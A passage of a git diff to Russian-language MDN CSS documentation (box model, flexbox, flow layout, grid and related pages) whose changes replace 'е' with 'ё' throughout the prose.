                    
+
                    Область рамки (border area) окружает поля элемента, а её граница называется края рамки (border edge). Ширина рамки задаётся отдельным свойством  {{ cssxref("border-width") }} или в составе свойства {{ cssxref("border") }}. Размеры элемента с учётом полей и рамки иногда называют внешней шириной/высотой элемента.
                    
 
 
                    Отступы (margin area) добавляют пустое пространство вокруг элемента и определяют расстояние до соседних элементов.
                    
 
-
                    Величина отступов задается по отдельности в разных направлениях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} или общим свойством {{ cssxref("margin") }}.
                    
+
                    Величина отступов задаётся по отдельности в разных направлениях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} или общим свойством {{ cssxref("margin") }}.
                    
 
 
                    Отступы двух соседних элементов, расположенных друг над другом или вложенных друг в друга, могут накладываться. Это называется схлопывание границ (margin collapsing). Схлопываются только вертикальные отступы.
                    
 
diff --git a/files/ru/web/css/css_colors/color_picker_tool/index.html b/files/ru/web/css/css_colors/color_picker_tool/index.html
index 499aa260fd..a148b4e9af 100644
--- a/files/ru/web/css/css_colors/color_picker_tool/index.html
+++ b/files/ru/web/css/css_colors/color_picker_tool/index.html
@@ -3212,7 +3212,7 @@ var ColorPickerTool = (function ColorPickerTool() {
 
 
                    {{CSSRef}}
                    
 
-
                    Этот инструмент позволяет легко создавать, настраивать и экспериментировать с пользовательскими цветами для использования в интернете. Он также позволяет легко конвертировать цвета в различные форматы, поддерживаемые CSS, в том числе: шестнадцатеричный формат, RGB (красный / зеленый / синий) и HSL (Цветовой тон / Насыщенность / Яркость). Контроль над альфа-каналом (прозрачностью) поддерживается в форматах RGB (RGBA) и HSL (HSLA).
                    
+
                    Этот инструмент позволяет легко создавать, настраивать и экспериментировать с пользовательскими цветами для использования в интернете. Он также позволяет легко конвертировать цвета в различные форматы, поддерживаемые CSS, в том числе: шестнадцатеричный формат, RGB (красный / зелёный / синий) и HSL (Цветовой тон / Насыщенность / Яркость). Контроль над альфа-каналом (прозрачностью) поддерживается в форматах RGB (RGBA) и HSL (HSLA).
                    
 
 
                    Каждый цвет во время настройки представлен во всех 3-х стандартных форматах CSS, и, кроме того, на основе текущего выбранного цвета генерируется палитра для HSL, HSV и альфа-канала. Кнопкой "пипетка" можно переключаться между HSL или HSV форматами.
                    
 
diff --git a/files/ru/web/css/css_columns/using_multi-column_layouts/index.html b/files/ru/web/css/css_columns/using_multi-column_layouts/index.html
index 7bab55db18..af886ff78f 100644
--- a/files/ru/web/css/css_columns/using_multi-column_layouts/index.html
+++ b/files/ru/web/css/css_columns/using_multi-column_layouts/index.html
@@ -6,7 +6,7 @@ original_slug: Web/Guide/CSS/Using_multi-column_layouts
 ---
 
                    {{CSSRef("CSS Multi-columns")}}
                    
 
-
                    CSS разметка для многих колонок расширяет способ блочной разметки, чтобы позволить легкое описание нескольких колонок текста. Людям сложно читать текст, если строки слишком длинные; это занимает слишком много времени для глаз, чтобы перемещать взгляд с конца одной на начало следующей строки, и они забывают на какой строке находились. Поэтому, чтобы использовать большие дисплеи по максимуму, авторам следует ограничить ширину колонок текст расположенных бок о бок, как в газетах.
                    
+
                    CSS разметка для многих колонок расширяет способ блочной разметки, чтобы позволить лёгкое описание нескольких колонок текста. Людям сложно читать текст, если строки слишком длинные; это занимает слишком много времени для глаз, чтобы перемещать взгляд с конца одной на начало следующей строки, и они забывают на какой строке находились. Поэтому, чтобы использовать большие дисплеи по максимуму, авторам следует ограничить ширину колонок текст расположенных бок о бок, как в газетах.
                    
 
 
                    К несчастью, это невозможно сделать с CSS и HTML без принудительного разбиения колонки в фиксированных позициях, или строго ограничить допустимую разметку в тексте, или использовать экстраординарный скрипт. Это ограничение снимается с помощью добавления новых CSS свойств, чтобы расширить традиционный блочный способ разметки.
                    
 
diff --git a/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
index 3340d6cfae..61c6b3da9f 100644
--- a/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
+++ b/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
@@ -121,7 +121,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элем
 
 
                    Теперь, когда мы увидели, как работает выравнивание по перекрёстной оси, можно посмотреть на главную ось. Здесь нам доступно только одно свойство — justify-content. Это обусловлено тем, что с элементами на  главной оси мы работаем только как с группой. Используя свойство justify-content, мы контролируем, что происходит со свободным пространством на главной оси, и требуется ли нам больше пространства, чем нужно для отображения наших элементов.
                    
 
-
                    В нашем первом примере с использованием свойства display: flex, примененным к контейнеру, элементы отображаются как строка и выстраиваются в начале блока. Это обусловлено тем, что свойство justify-content имеет начальное значение flex-start. Все свободное место располагается в конце контейнера.
                    
+
                    В нашем первом примере с использованием свойства display: flex, применённым к контейнеру, элементы отображаются как строка и выстраиваются в начале блока. Это обусловлено тем, что свойство justify-content имеет начальное значение flex-start. Все свободное место располагается в конце контейнера.
                    
 
 
                    Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items.
                    
 
@@ -203,7 +203,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элем
 
 
                    Выравнивание во Flexbox также включает в себя другие методы создания пространства между элементами, такие как column-gap and row-gap, как показано в макете CSS Grid Layout. Включение этих свойств в Box Alignment означает, что в будущем мы также сможем использовать column-gap и row-gap во Flexbox разметке. Это означает, что вам не нужно будет использовать отступы, чтобы создать пространство между элементами.
                    
 
-
                    Мое предложение заключается в том, чтобы при изучении выравнивания во Flexbox, делать это параллельно с выравниванием в Grid Layout. В обеих спецификациях используются свойства выравнивания, подобные Flexbox. Вы можете видеть, как эти свойства ведут себя при работе с сеткой в статье Box Alignment in Grid Layout, а также рассмотреть как выравнивание работает в этих спецификациях в статье Box Alignment Cheatsheet.
                    
+
                    Моё предложение заключается в том, чтобы при изучении выравнивания во Flexbox, делать это параллельно с выравниванием в Grid Layout. В обеих спецификациях используются свойства выравнивания, подобные Flexbox. Вы можете видеть, как эти свойства ведут себя при работе с сеткой в статье Box Alignment in Grid Layout, а также рассмотреть как выравнивание работает в этих спецификациях в статье Box Alignment Cheatsheet.
                    
 
 
                    Смотрите Также
                    
 
diff --git a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html
index 9c407f61fa..25b5be5ea0 100644
--- a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html
+++ b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html
@@ -11,13 +11,13 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexb
 
 
                    Как  и все спецификации CSS, flexbox претерпела огромное количество изменений, прежде чем стать Кандидатом в рекомендации W3C. У спецификации в этом статусе не должно быть значительных изменений, однако с предыдущими итерациями все было иначе.
                    
 
-
                    Flexbox был реализован экспериментальным путем в нескольких браузерах. В то время метод создания экспериментальных реализаций подразумевал использование вендорных префиксов. Идея этих префиксов была в том, чтобы позволить инженерам браузеров и веб-разработчикам исследовать и протестировать новшества спецификации без конфликтов с другими реализациями. Идея заключалась в том, чтобы не использовать экспериментальные реализации на продакшене. Однако, в конечном счете префиксы все равно попали в продакшн, и изменения в экспериментальной спецификации вынудили людей обновлять сайты, чтобы этой самой спецификации соответствовать.
                    
+
                    Flexbox был реализован экспериментальным путём в нескольких браузерах. В то время метод создания экспериментальных реализаций подразумевал использование вендорных префиксов. Идея этих префиксов была в том, чтобы позволить инженерам браузеров и веб-разработчикам исследовать и протестировать новшества спецификации без конфликтов с другими реализациями. Идея заключалась в том, чтобы не использовать экспериментальные реализации на продакшене. Однако, в конечном счёте префиксы все равно попали в продакшн, и изменения в экспериментальной спецификации вынудили людей обновлять сайты, чтобы этой самой спецификации соответствовать.
                    
 
 
                    В 2009 спецификация выглядела совсем по-другому. Чтобы создать flex-контейнер, вам нужно было использовать display: box и несколько box-* свойств, которые делали то, что сегодня вы понимаете под flexbox.
                    
 
 
                    Очередное обновление спецификации поменяло синтаксис на display: flexbox — и опять с вендорными префиксами.
                    
 
-
                    В конечном счете спецификация была обновлена, чтобы определить display: flex как способ создания flex-контейнера. Начиная с этого момента поддержка браузерами обновленной версии спецификации отличная.
                    
+
                    В конечном счёте спецификация была обновлена, чтобы определить display: flex как способ создания flex-контейнера. Начиная с этого момента поддержка браузерами обновлённой версии спецификации отличная.
                    
 
 
                    Существует несколько старых статей, которые описывают более ранние версии flexbox, их довольно легко вычислить по тому, как они описывают создание flex-контейнера. Если вы нашли что-то вроде  display: box или display: flexbox, то это уже устаревшая информация.
                    
 
@@ -27,7 +27,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexb
 
 
                      
  
                    • Internet Explorer 10, который внедрил display: flexbox версию спецификации с префиксом -ms-.
                      • 
- 
                    • UC Browser, который все еще поддерживает спецификацию версии 2009 год с display: box и префиксом -webkit-.
                      • 
+ 
                    • UC Browser, который все ещё поддерживает спецификацию версии 2009 год с display: box и префиксом -webkit-.
                      • 
 
                    
 
 
                    Также возьмите на заметку, что Explorer 11 поддерживает современный display: flex, однако не без багов.
                    
diff --git a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
index 23f034fb6f..874e9a5982 100644
--- a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
+++ b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
 ---
 
                    {{CSSRef}}
                    
 
-
                    CSS модуль раскладки Flexible Box, обычно называемый флексбокс или flexbox или просто flex (флекс), был разработан как модель одномерного-направленного макета и как один из методов распределения пространства между элементами в интерфейсе, с мощными возможностями выравнивания. В этой статье дается краткое описание основных функций flexbox, которые мы рассмотрим более подробно в остальных руководствах.
                    
+
                    CSS модуль раскладки Flexible Box, обычно называемый флексбокс или flexbox или просто flex (флекс), был разработан как модель одномерного-направленного макета и как один из методов распределения пространства между элементами в интерфейсе, с мощными возможностями выравнивания. В этой статье даётся краткое описание основных функций flexbox, которые мы рассмотрим более подробно в остальных руководствах.
                    
 
 
                    Когда мы описываем flexbox как одномерно-направленный, мы  имеем в виду, что flexbox имеет дело с макетом в одной плоскости за раз – либо в виде строки, либо в виде столбца. Как альтернативу можно упомянуть двумерную модель CSS Grid Layout, которая управляет и столбцами и строками одновременно.
                    
 
@@ -46,7 +46,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
 
 
                    Начало и конец строки
                    
 
-
                    Важно понимать, что flexbox не делает никаких предположений о режиме написания документа. Раньше CSS был сильно ориентирован на горизонтальный режим и режим письма слева направо. Современные методы верстки охватывают полный диапазон режимов письма, и поэтому мы больше не предполагаем, что строка текста будет начинаться в верхнем левом углу документа и будет проходить по направлению к правой стороне, а новые строки будут появляться одна под другой.
                    
+
                    Важно понимать, что flexbox не делает никаких предположений о режиме написания документа. Раньше CSS был сильно ориентирован на горизонтальный режим и режим письма слева направо. Современные методы вёрстки охватывают полный диапазон режимов письма, и поэтому мы больше не предполагаем, что строка текста будет начинаться в верхнем левом углу документа и будет проходить по направлению к правой стороне, а новые строки будут появляться одна под другой.
                    
 
 
                    Вы можете прочитать больше о взаимосвязи между flexbox и спецификацией Writing Modes в следующей статье, однако следующее описание должно помочь объяснить, почему мы не говорим о левом, правом, верхнем и нижнем направлениях наших flex-элементов.
                    
 
@@ -64,7 +64,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
 
 
                    Flex контейнер
                    
 
-
                    Область документа, использующая flexbox, называется flex контейнером. Чтобы создать flex контейнер, мы задаем значение flex или inline-flex для свойства {{cssxref ("display")}} контейнера. Как только мы делаем это, прямые потомки этого контейнера становятся flex элементами. Как и для всех свойств в CSS, некоторые начальные значения уже определены, поэтому при создании flex-контейнера все содержащиеся в нем flex-элементы будут вести себя следующим образом.
                    
+
                    Область документа, использующая flexbox, называется flex контейнером. Чтобы создать flex контейнер, мы задаём значение flex или inline-flex для свойства {{cssxref ("display")}} контейнера. Как только мы делаем это, прямые потомки этого контейнера становятся flex элементами. Как и для всех свойств в CSS, некоторые начальные значения уже определены, поэтому при создании flex-контейнера все содержащиеся в нем flex-элементы будут вести себя следующим образом.
                    
 
 
                      
  
                    • Элементы отображаются в ряд (свойство flex-direction по умолчанию имеет значение row).
                      • 
@@ -75,7 +75,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
  
                    • Свойству {{cssxref("flex-wrap")}} задано значение nowrap.
                      • 
 
                    
 
-
                    Результатом этого является то, что все ваши элементы будут выстроены в ряд, используя размер содержимого в качестве их размера на главной оси. Если в контейнере больше элементов, чем можно уместить, они не будут обернуты и контейнер будет переполнен. Если некоторые элементы выше других, все элементы будут вытянуты вдоль побочной оси, чтобы заполнить ось в полный размер.
                    
+
                    Результатом этого является то, что все ваши элементы будут выстроены в ряд, используя размер содержимого в качестве их размера на главной оси. Если в контейнере больше элементов, чем можно уместить, они не будут обёрнуты и контейнер будет переполнен. Если некоторые элементы выше других, все элементы будут вытянуты вдоль побочной оси, чтобы заполнить ось в полный размер.
                    
 
 
                    Вы можете увидеть принцип работы в живом примере ниже. Попробуйте отредактировать или добавить дополнительные элементы, чтобы проверить поведение flexbox.
                    
 
@@ -87,7 +87,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
 
 
                    Если изменить значение свойства flex-direction на column, главная ось изменится, и наши элементы будут отображаются в столбец. При установке параметра column-reverse, начало и конец столбца поменяются местами.
                    
 
-
                    В приведенном ниже примере значение свойства flex-direction установлено как row-reverse. Попробуйте другие значения — row, column иcolumn-reverse, чтобы посмотреть как изменятся элементы контейнера.
                    
+
                    В приведённом ниже примере значение свойства flex-direction установлено как row-reverse. Попробуйте другие значения — row, column иcolumn-reverse, чтобы посмотреть как изменятся элементы контейнера.
                    
 
 
                    {{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}
                    
 
@@ -105,7 +105,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
 
 
                    Вы можете указать два свойства flex-direction и flex-wrap в одном {{cssxref("flex-flow")}}. Первое значение свойства определяет flex-direction, второе flex-wrap.
                    
 
-
                    В приведенном ниже примере вы можете изменить первое значение на одно из доступных для flex-direction - row, row-reverse, column or column-reverse, а второе на wrap или nowrap, чтобы посмотреть как изменятся элементы контейнера.
                    
+
                    В приведённом ниже примере вы можете изменить первое значение на одно из доступных для flex-direction - row, row-reverse, column or column-reverse, а второе на wrap или nowrap, чтобы посмотреть как изменятся элементы контейнера.
                    
 
 
                    {{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}
                    
 
@@ -123,7 +123,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
 
 
                    Чтобы понять как работают эти свойства, прежде нам необходимо разобраться с концепцией доступного пространства. Изменяя значения этих флекс свойств, мы влияем на то, как доступное пространство распределяется между нашими элементами. Эта концепция так же важна для выравнивания элементов.
                    
 
-
                    Если наш контейнер шириной 500 пикселей содержит три элемента шириной 100 пикселей каждый, для их размещения нам потребуется пространство шириной в 300 пикселей. Остается 200 пикселей свободного пространства. Если мы не изменим исходные значения этих свойств, флексбокс разместит это пространство за последним элементом.
                    
+
                    Если наш контейнер шириной 500 пикселей содержит три элемента шириной 100 пикселей каждый, для их размещения нам потребуется пространство шириной в 300 пикселей. Остаётся 200 пикселей свободного пространства. Если мы не изменим исходные значения этих свойств, флексбокс разместит это пространство за последним элементом.
                    
 
 
                    This flex container has available space after laying out the items.
                    
 
@@ -131,7 +131,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
 
 
                    Свойство flex-basis
                    
 
-
                    Свойство flex-basis определяет размер доступного пространства элемента. Начальное значение этого свойства - auto - в этом случае браузер проверяет, имеют ли элементы размер. В приведенном выше примере все элементы имеют ширину 100px, и этот размер читается браузером как flex-basis.
                    
+
                    Свойство flex-basis определяет размер доступного пространства элемента. Начальное значение этого свойства - auto - в этом случае браузер проверяет, имеют ли элементы размер. В приведённом выше примере все элементы имеют ширину 100px, и этот размер читается браузером как flex-basis.
                    
  Если элементы не имеют размера, то для размера flex-basis используется размер контента. Вот почему, когда мы просто объявляем display: flex на родительском элементе для создания flex-элементов, все элементы перемещаются в ряд и занимают столько места, сколько им нужно для отображения их содержимого.
                    
 
 
                    Свойство flex-grow
                    
diff --git a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html
index 6a31a4a6ea..92c797bcf4 100644
--- a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html
+++ b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html
@@ -72,24 +72,24 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items
 
                    В спецификации флексбоксов подробно рассказано, что должно происходить, когда элементы должны сворачиваться при установке параметра visibility: collapse на элементе. Смотрим документацию MDN для параметра {{cssxref("visibility")}}. Спецификация описывает поведение так:
                    
 
 
                    
-
                    “Установка visibility:collapse на flex элементе должна сворачивать этот flex элемент. Этот эффект должен быть таким же, как при установке свойства visibility:collapse на элементе table-row или table-column: свёрнутый flex элемент полностью удаляется из процесса рендеринга, но оставляет за собой некую "распорку", которая сохраняет стабильным поперечный размер flex-строки. Таким образом, если флекс-контейнер имеет только одну строку, динамическое сворачивание или разворачивание элементов может изменять основной размер флекс-контейнера, но должно быть гарантированно, что не будет изменяться поперечный размер и не будет приводить к эффекту "виляния" всего макета страницы.  Однако процесс обертывания flex-строки выполняется после процедуры сворачивания, поэтому поперечный размер flex-контейнера с несколькими строками может и изменяться.” - Сворачивание элементов
                    
+
                    “Установка visibility:collapse на flex элементе должна сворачивать этот flex элемент. Этот эффект должен быть таким же, как при установке свойства visibility:collapse на элементе table-row или table-column: свёрнутый flex элемент полностью удаляется из процесса рендеринга, но оставляет за собой некую "распорку", которая сохраняет стабильным поперечный размер flex-строки. Таким образом, если флекс-контейнер имеет только одну строку, динамическое сворачивание или разворачивание элементов может изменять основной размер флекс-контейнера, но должно быть гарантированно, что не будет изменяться поперечный размер и не будет приводить к эффекту "виляния" всего макета страницы.  Однако процесс обёртывания flex-строки выполняется после процедуры сворачивания, поэтому поперечный размер flex-контейнера с несколькими строками может и изменяться.” - Сворачивание элементов
                    
 
                    
 
 
                    Понимание этого поведения полезно, если вы планируете использовать яваскрипт на флекс-элементах и с его помощью прятать или показывать контент. Пример в спецификации демонстрирует один такой шаблон.
                    
 
-
                    В следующем живом примере у нас показан флекс-контейнер со параметров "перенос" в состоянии "не переносить". Третий элемент имеет контента больше, чем другие элементы. И у него установлен параметр visibility: collapse. Следовательно он имеет некую "распорку", которая удерживает ту высоту, которая позволит показать этот элемент. Если Вы удалите visibility: collapse из CSS или измените значение на visible, то вы увидите, что элемент исчезнет, а пространство перераспределится между не свернутыми элементами; высота флекс-контейнера при этом не изменится.
                    
+
                    В следующем живом примере у нас показан флекс-контейнер со параметров "перенос" в состоянии "не переносить". Третий элемент имеет контента больше, чем другие элементы. И у него установлен параметр visibility: collapse. Следовательно он имеет некую "распорку", которая удерживает ту высоту, которая позволит показать этот элемент. Если Вы удалите visibility: collapse из CSS или измените значение на visible, то вы увидите, что элемент исчезнет, а пространство перераспределится между не свёрнутыми элементами; высота флекс-контейнера при этом не изменится.
                    
 
 
                    
-
                    Примечание. Используйте Firefox для двух приведенных ниже примеров, поскольку Chrome и Safari рассматривают свёрнутый элемент как скрытый.
                    
+
                    Примечание. Используйте Firefox для двух приведённых ниже примеров, поскольку Chrome и Safari рассматривают свёрнутый элемент как скрытый.
                    
 
                    
 
 
                    {{EmbedGHLiveSample("css-examples/flexbox/wrapping/visibility-collapse.html", '100%', 650)}}
                    
 
-
                    Когда Вы работаете с многострочным флекс-контейнером, Вы должны помнить, что процесс обёртывания происходит после сворачивания. Таким образом, браузер должен повторно выполнить процедуру оборачивания, чтобы учесть новое пространство, оставленное свернутым элементом в главной оси.
                    
+
                    Когда Вы работаете с многострочным флекс-контейнером, Вы должны помнить, что процесс обёртывания происходит после сворачивания. Таким образом, браузер должен повторно выполнить процедуру оборачивания, чтобы учесть новое пространство, оставленное свёрнутым элементом в главной оси.
                    
 
 
                    Это значит, что элементы могут оказаться на строке, отличной от той, на которой они начинались. В случае, если какой-то элемент отображается и скрывается, это может привести к тому, что элементы окажутся в другом ряду.
                    
 
-
                    Я создал пример такого поведения в следующем живом примере. Вы можете увидеть, как растяжение меняет строку в зависимости от расположения свернутого элемента. Если вы добавите больше контента ко второму элементу, он изменит строку, как только станет достаточно длинным. Эта верхняя строка становится такой же высокой, как одна строка текста.
                    
+
                    Я создал пример такого поведения в следующем живом примере. Вы можете увидеть, как растяжение меняет строку в зависимости от расположения свёрнутого элемента. Если вы добавите больше контента ко второму элементу, он изменит строку, как только станет достаточно длинным. Эта верхняя строка становится такой же высокой, как одна строка текста.
                    
 
 
                    {{EmbedGHLiveSample("css-examples/flexbox/wrapping/wrapped-visibility-collapse.html", '100%', 750)}}
                    
 
@@ -97,4 +97,4 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items
 
 
                    Разница между visibility: hidden и display: none
                    
 
-
                    Когда Вы устанавливаете элементу display: none чтобы его спрятать, то этот элемент удаляется из структуры страницы. На практике это означает, что счетчики игнорируют его, а такие вещи, как transitions (переходы), не запускаются. Использование visibility: hidden сохраняет элемент в структуре форматирования, что полезно, поскольку он по-прежнему ведет себя так, как если бы он был частью макета, даже если пользователь не может его увидеть.
                    
+
                    Когда Вы устанавливаете элементу display: none чтобы его спрятать, то этот элемент удаляется из структуры страницы. На практике это означает, что счётчики игнорируют его, а такие вещи, как transitions (переходы), не запускаются. Использование visibility: hidden сохраняет элемент в структуре форматирования, что полезно, поскольку он по-прежнему ведёт себя так, как если бы он был частью макета, даже если пользователь не может его увидеть.
                    
diff --git a/files/ru/web/css/css_flow_layout/index.html b/files/ru/web/css/css_flow_layout/index.html
index 80fddc9dab..3863c2862e 100644
--- a/files/ru/web/css/css_flow_layout/index.html
+++ b/files/ru/web/css/css_flow_layout/index.html
@@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Flow_Layout
 ---
 
                    {{CSSRef}}
                    
 
-
                    Нормальный поток (normal flow) или поточная раскладка (flow layout), это способ отображения блочных (block) и строчных (inline) элементов на странице. Сначала раскладка этих элементов происходит согласно правилам потока, после чего в нее могут быть внесены изменения, например, относительное позиционирование.
                    
+
                    Нормальный поток (normal flow) или поточная раскладка (flow layout), это способ отображения блочных (block) и строчных (inline) элементов на странице. Сначала раскладка этих элементов происходит согласно правилам потока, после чего в неё могут быть внесены изменения, например, относительное позиционирование.
                    
 
 
                    По сути поток представляется собой набор сущностей, которые работают вместе и знают друг о друге. Когда некоторая сущность вынимается из потока (out of flow), то она работает независимо.
                    
 
@@ -21,9 +21,9 @@ translation_of: Web/CSS/CSS_Flow_Layout
 
 
                    Следующий пример показывает боксы уровня блока (block level) и уровня строки (inline level). Боксы уровня блока участвуют в блочном контексте форматирования, а боксы уровня строки в строчном контексте форматирования.
                    
 
-
                    Два элемента параграфа с зеленой границей создают боксы уровня блока, отображающиеся один под другим.
                    
+
                    Два элемента параграфа с зелёной границей создают боксы уровня блока, отображающиеся один под другим.
                    
 
-
                    Первое предложение также содержит элемент span с голубым фоном. Он создает бокс уровня строки и, следовательно, размещается внутри предложения.
                    
+
                    Первое предложение также содержит элемент span с голубым фоном. Он создаёт бокс уровня строки и, следовательно, размещается внутри предложения.
                    
 
 
                    {{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}
                    
 
diff --git a/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html b/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html
index aed2f568ec..13069eaa00 100644
--- a/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html
+++ b/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html
@@ -8,7 +8,7 @@ original_slug: Web/CSS/CSS_Flow_Layout/Введение_в_контексты_ф
 
 
                    В этой статье представлена концепция контекстов форматирования (formatting context). Существует несколько типов контекстов форматирования, например, блочный контекст форматирования (block formatting context, BFC), строчный контекст форматирования (inline formatting context), флексовый контекст форматирования (flex formatting context). В статье даны основы того, как они себя ведут, и как вы можете использовать это поведение.
                    
 
-
                    Всё на странице является частью контекста форматирования (formatting context), который представляет собой область, в которой происходит раскладка контента по определенным правилам. Блочный контекст форматирования (block formatting context, BFC) делает раскладку своих дочерних элементов в соответствии с правилами блочной раскладки, флексовый контекст форматирования (flex formatting context) раскладывает свои дочерние элементы как {{Glossary("flex item", "флекс-элементы")}} и т.д. Каждый контекст форматирования использует свои правила раскладки.
                    
+
                    Всё на странице является частью контекста форматирования (formatting context), который представляет собой область, в которой происходит раскладка контента по определённым правилам. Блочный контекст форматирования (block formatting context, BFC) делает раскладку своих дочерних элементов в соответствии с правилами блочной раскладки, флексовый контекст форматирования (flex formatting context) раскладывает свои дочерние элементы как {{Glossary("flex item", "флекс-элементы")}} и т.д. Каждый контекст форматирования использует свои правила раскладки.
                    
 
 
                    Блочные контексты форматирования
                    
 
@@ -16,9 +16,9 @@ original_slug: Web/CSS/CSS_Flow_Layout/Введение_в_контексты_ф
 
 
                    Создание нового блочного контекста форматирования
                    
 
-
                    Элемент {{HTMLElement("html")}} не единственный, кто может создавать блочный контекст форматирования. Любой элемент, который по умолчанию представляет собой блок, также создает блочный контекст форматирования для своих потомков. Кроме того, существуют свойства CSS, которые могут заставить элемент создавать БКФ, даже если он не делает этого по умолчанию. Это может быть полезным поскольку новый БКФ будет вести себя во многом как внешний документа, в том смысле, что он создает новую мини-раскладку в основной раскладке. БКФ содержит все внутри себя, {{cssxref("float")}} and {{cssxref("clear")}} применяются только к элементам, которые находится в том же контексте форматирования, также как и поля (margings) схлопываются только между элементами одного и того же контекста форматирования.
                    
+
                    Элемент {{HTMLElement("html")}} не единственный, кто может создавать блочный контекст форматирования. Любой элемент, который по умолчанию представляет собой блок, также создаёт блочный контекст форматирования для своих потомков. Кроме того, существуют свойства CSS, которые могут заставить элемент создавать БКФ, даже если он не делает этого по умолчанию. Это может быть полезным поскольку новый БКФ будет вести себя во многом как внешний документа, в том смысле, что он создаёт новую мини-раскладку в основной раскладке. БКФ содержит все внутри себя, {{cssxref("float")}} and {{cssxref("clear")}} применяются только к элементам, которые находится в том же контексте форматирования, также как и поля (margings) схлопываются только между элементами одного и того же контекста форматирования.
                    
 
-
                    Кроме корневого элемента ({{HTMLElement("html")}}) новый БКФ создается в следующих случаях:
                    
+
                    Кроме корневого элемента ({{HTMLElement("html")}}) новый БКФ создаётся в следующих случаях:
                    
 
 
                      
  
                    • плавающие элементы ({{cssxref("float", "float: left", "#left")}} или {{cssxref("float", "float: right", "#right")}});
                      • 
diff --git a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
index a616e84382..964f414675 100644
--- a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
+++ b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
@@ -15,7 +15,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
 
                      Расположение элемента
                      
 
-
                      Вы можете размещать элементы в заданном месте Grid, используя номера строк, имена или путем привязки к области Grid. Grid также содержит алгоритм управления размещением элементов, не имеющих явной позиции в Grid.
                      
+
                      Вы можете размещать элементы в заданном месте Grid, используя номера строк, имена или путём привязки к области Grid. Grid также содержит алгоритм управления размещением элементов, не имеющих явной позиции в Grid.
                      
 
 
                      Создание дополнительных полос для хранения контента
                      
 
@@ -33,7 +33,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
 
                      Grid контейнер
                      
 
-
                      Мы создаем grid контейнер, объявляя display: grid или display: inline-grid на элементе. Как только мы это сделаем, все прямые дети этого элемента станут элементами сетки.
                      
+
                      Мы создаём grid контейнер, объявляя display: grid или display: inline-grid на элементе. Как только мы это сделаем, все прямые дети этого элемента станут элементами сетки.
                      
 
 
                      В этом примере есть div, содержащий класс wrapper с пятью потомками
                      
 
@@ -184,7 +184,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
 
                      {{ EmbedLiveSample('fr_unit_ls', '220', '140') }}
                      
 
                    
 
-
                    В следующем примере мы создаем грид с треком в  2fr и двумя треками по  1fr. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. 
                    
+
                    В следующем примере мы создаём грид с треком в  2fr и двумя треками по  1fr. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. 
                    
 
 
                    .wrapper {
   display: grid;
